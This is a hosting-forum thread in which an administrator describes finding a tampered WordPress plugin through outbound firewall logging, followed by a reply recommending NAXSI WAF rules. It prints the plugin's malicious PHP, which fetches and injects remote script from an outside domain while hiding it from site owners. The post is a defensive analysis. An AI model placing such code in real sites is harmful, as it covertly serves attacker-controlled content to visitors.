• Please be aware: Kaspersky Anti-Virus has been deprecated
    With the upgrade to Plesk Obsidian 18.0.64, "Kaspersky Anti-Virus for Servers" will be automatically removed from the servers it is installed on. We recommend that you migrate to Sophos Anti-Virus for Servers.
  • The Horde webmail has been deprecated. Its complete removal is scheduled for April 2025. For details and recommended actions, see the Feature and Deprecation Plan.
  • We’re working on enhancing the Monitoring feature in Plesk, and we could really use your expertise! If you’re open to sharing your experiences with server and website monitoring or providing feedback, we’d love to have a one-hour online meeting with you.

Input How my firewall helped in uncovering a malicious PHP-script

mr-wolf

Silver Pleskian
Plesk Guru
We are using Plesk to host sites for others.
Many of our clients use WordPress and this makes it hard to keep our servers safe.
I am already forcing Wordfence on all sites and created a script that will collect IP's found by it and use it in iptables to block these server-wide.

What I also noticed in the past that some malicious code will try to make contact with other mail servers to generate spam or attack websites. One was attacking the site of Gulen, the Turkish dissident shortly after the coup attempt.

I normally notice this in very early stages because I have added some rules in the OUTPUT chain of the firewall.....
The default chain is to accept almost all....

Code:
:DoSlimit - [0:0]
-A DoSlimit -m limit --limit 30/sec -j ACCEPT
-A DoSlimit -j LOG --log-prefix "[DROP DoS] : " --log-tcp-options --log-ip-options --log-uid
-A DoSlimit -j DROP

-A OUTPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
-A OUTPUT -p tcp -m tcp ! --tcp-flags FIN,SYN,RST,ACK SYN -j REJECT --reject-with tcp-reset
-A OUTPUT -m state --state INVALID -j DROP
-A OUTPUT -o lo -j ACCEPT
-A OUTPUT -p udp -m udp --dport 53 -j ACCEPT
-A OUTPUT -p tcp -m owner --gid-owner psacln -m multiport --dports 20,21,22,80,443,3306 -j DoSlimit
-A OUTPUT -o eth0 -m owner --gid-owner psacln -j logdrop
-A OUTPUT -j ACCEPT

The original one is like this:

Code:
-A OUTPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
-A OUTPUT -p tcp -m tcp ! --tcp-flags FIN,SYN,RST,ACK SYN -j REJECT --reject-with tcp-reset
-A OUTPUT -m state --state INVALID -j DROP
-A OUTPUT -o lo -j ACCEPT
-A OUTPUT -j ACCEPT

My servers are monitored by Zabbix.
It's a great tool and its power comes when you start writing your own items and triggers...

For one I'm letting it scan the logs each half hour for entries in /var/log/kern.log that contain DoS
So whenever iptables is dropping packets using the DosLimit chain I get an alert on my Zabbix dashboard.
This luckily only happens once a year, but still.....

When it happens I can inspect /var/log/kern.log for entries that look like this.....
Only the SRC IP (my IP) is not the real IP. The other one is.....

grep DoS /var/log/kern.log | head -n2
Code:
Jan  9 15:46:22 ns4 kernel: [9715586.440410] [DROP DoS] : IN= OUT=eth0 SRC=82.132.210.240 DST=94.156.77.250 LEN=60 TOS=0x00 PREC=0x00 TTL=64 ID=20033 DF PROTO=TCP SPT=53756 DPT=80 WINDOW=29200 RES=0x00 SYN URGP=0 OPT (020405B40402080A0353FBD30000000001030307) UID=10171 GID=1003
Jan  9 15:46:22 ns4 kernel: [9715586.442074] [DROP DoS] : IN= OUT=eth0 SRC=82.132.210.240 DST=94.156.77.250 LEN=60 TOS=0x00 PREC=0x00 TTL=64 ID=56241 DF PROTO=TCP SPT=53758 DPT=80 WINDOW=29200 RES=0x00 SYN URGP=0 OPT (020405B40402080A0353FBD30000000001030307) UID=10171 GID=1003

First I want to know which site is doing this....

grep 10171 /etc/passwd
*********:x:10171:1003::/var/www/vhosts/*******.***:/bin/false
... and then check what site it is attacking (later I found out it was not an attack)
host 94.156.77.250
250.77.156.94.in-addr.arpa domain name pointer srv144.datingsolution1.com.

whois 94.156.77.250 | egrep '^[a-z]+:'

Code:
inetnum:        94.156.77.0 - 94.156.77.255netname:        NETERRA-SSDCLOUD-NET
descr:          SSDCloud IP PA Space
country:        BG
remarks:        For abuse please use [email protected]
status:         ASSIGNED PA
created:        2014-04-06T13:25:01Z
source:         RIPE
person:         Rosen Mitkov
address:        Sofia, Bulgaria
phone:          +359876331090
created:        2014-04-06T12:44:17Z
source:         RIPE
route:          94.156.77.0/24
descr:          Neterra for SSDCLOUD IP PA Space
origin:         AS34224
created:        2014-04-06T13:28:20Z
source:         RIPE

Now the tricky part began as it normally is quite easy, but this time it wasn't...
It turned out to be a tampered WordPress plugin that was installed by the owner of the site.
The code is this

Code:
if(!function_exists('wp_func_jquery')) {    if (!current_user_can( 'read' )) {
        function wp_func_jquery() {
            $host = 'http://';
            $jquery = $host.'lib'.'wp.org/jquery-ui.js';
            $headers = @get_headers($jquery, 1);
            if ($headers[0] == 'HTTP/1.1 200 OK'){
                echo(wp_remote_retrieve_body(wp_remote_get($jquery)));
            }
        }
        add_action('wp_footer', 'wp_func_jquery');
    }
}

The code is making contact with http://libwp.org/jquery-ui.js which is that same Bulgarian site and will get some code to embed a banner in the infected website.
It even has some code to prevent the owner of the site seeing these banners.

In this case this code could have stayed undetected by the rules in iptables because it wasn't actually attacking another site, but merely getting some content. Maybe their server was having some difficulty so it needed to try more often.

I have chosen to allow the group psacln to do some ports. Recently I needed to add port 22 for someone that had some PHP Git code.
All other ports are blocked for that group.
Remember that a default firewall has no block whatsoever on the OUTPUT chain!

All the IP's, domain names and URLs are real (except my own) and I hope this helps to understand how these hacks work.

Googling the word wp_func_jquery gave me this article:
Remove script from wordpress site
 
Last edited:
Thanks for this really useful thread.

If you want to protect your WordPress instances without using Wordfence, you can try NAXSI WAF for Nginx .

You can find specific rules to protect WordPress with NAXSI here :
https://raw.githubusercontent.com/nbs-system/naxsi-rules/master/wordpress.rules

Then you just have to add the rules into each nginx vhost you want to protect with NAXSI
Code:
          SecRulesEnabled;
          CheckRule "$SQL >= 8" BLOCK;
          CheckRule "$RFI >= 8" BLOCK;
          CheckRule "$TRAVERSAL >= 4" BLOCK;
          CheckRule "$EVADE >= 4" BLOCK;
          CheckRule "$XSS >= 8" BLOCK;
          include /etc/nginx/naxsi/wordpress.rules;

2) You can also harden security with your nginx.conf file. Here a very good example : https://raw.githubusercontent.com/stylersnico/my-webserver/master/etc/nginx/nginx.conf

(there are some part of this configuration to put in /etc/nginx/conf.d/ssl.conf with Plesk)
 
Back
Top